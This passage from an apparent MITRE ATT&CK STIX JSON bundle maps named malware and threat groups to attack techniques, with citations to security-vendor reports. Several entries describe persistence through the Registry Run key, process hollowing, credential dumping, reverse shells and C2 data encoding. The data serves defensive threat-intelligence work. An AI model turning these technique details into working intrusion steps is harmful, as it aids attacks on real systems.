            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.649Z",
            "created": "2019-01-30T15:27:06.723Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) can capture keystrokes.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--dfe16a67-5f63-40a8-9f60-2d0313e55e46",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.957Z",
            "created": "2019-01-30T15:38:21.383Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can delete files from the system.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--27e8d133-848b-4db0-ac79-b5a37da879f1",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.373Z",
            "created": "2019-01-30T15:47:41.459Z"
        },
        {
            "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and use process hollowing to inject it into a new process.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.580Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)",
            "id": "relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "type": "relationship",
            "modified": "2020-05-21T12:58:00.382Z",
            "created": "2019-01-30T17:33:40.954Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--2c44970b-616d-401e-b9ed-72ac39ca5709",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2021-04-05T20:52:47.631Z",
            "created": "2019-01-30T17:43:28.295Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) enticed users to click on links in spearphishing emails to download malware.(Citation: McAfee Night Dragon)",
            "id": "relationship--8027944a-f329-4381-a8cf-0bceb9f8e105",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "type": "relationship",
            "modified": "2020-03-17T14:50:50.528Z",
            "created": "2019-01-30T18:02:59.278Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) decodes its secondary payload and writes it to the victim\u2019s machine. [Zebrocy](https://attack.mitre.org/software/S0251) also uses AES and XOR to decrypt strings and payloads.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)",
            "id": "relationship--e3be5269-92fd-488e-be35-ddc91030f7c3",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.822Z",
            "created": "2019-01-30T18:39:48.473Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.(Citation: TrendMicro MacOS April 2018)",
            "id": "relationship--0112eb25-7f6c-49cd-95c8-bf0d49f7c380",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-09-26T16:22:41.974Z",
            "created": "2019-01-30T19:18:20.163Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has established persistence by writing the payload to the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--534cf936-84e8-49ff-a616-90267467decd",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.548Z",
            "created": "2019-01-30T19:50:46.761Z"
        },
        {
            "id": "relationship--083cbf6f-82e3-4d78-b18f-aa2d1f566713",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DDKONG](https://attack.mitre.org/software/S0255) downloads and uploads files on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add"
        },
        {
            "id": "relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-20T23:51:21.195Z",
            "created": "2017-05-31T21:33:27.072Z"
        },
        {
            "id": "relationship--62e35388-0f7d-4434-af87-6f6c09a1a12b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s DLL file and non-malicious decoy file are encrypted with RC4.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.162Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a5bf547a-7fe3-4fa5-96f7-a932e583bf9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) gathers the Mac address, IP address, and the network adapter information from the victim\u2019s machine.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T16:28:16.054Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e2317e9b-9301-4c44-959f-94d66858136c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses a large list of C2 servers that it cycles through until a successful connection is established.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.998Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.(Citation: Symantec Suckfly May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly May 2016"
                }
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2019-03-25T16:59:47.278Z",
            "created": "2017-05-31T21:33:27.074Z"
        },
        {
            "id": "relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT18](https://attack.mitre.org/groups/G0026) actors deleted tools and batch files from victim systems.(Citation: Dell Lateral Movement)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "source_name": "Dell Lateral Movement"
                }
            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.850Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim\u2019s machine, and can launch a reverse shell for command execution.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:15:24.054Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about local network connections using [netstat](https://attack.mitre.org/software/S0104).(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.468Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2020-12-22T18:05:31.184Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) has used both HTTP and HTTPS for C2.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2021-04-27T19:53:41.047Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.(Citation: Trend Micro Daserf Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.477Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-19T23:24:34.808Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e68ff1c2-ef03-486b-96df-167a1652a97b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "For C2 over HTTP, [Helminth](https://attack.mitre.org/software/S0170) encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, [Helminth](https://attack.mitre.org/software/S0170) converts ASCII characters into their hexadecimal values and sends the data in cleartext.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:11:48.340Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--12455fe5-42dd-420e-839e-8a96886488f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net time</code> command can be used in [Net](https://attack.mitre.org/software/S0039) to determine the local or remote system time.(Citation: TechNet Net Time)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/bb490716.aspx",
                    "description": "Microsoft. (n.d.). Net time. Retrieved November 25, 2016.",
                    "source_name": "TechNet Net Time"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-03-19T13:14:50.662Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--36f0915e-66aa-4062-b909-35414c639ae1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command <code>tasklist /svc</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
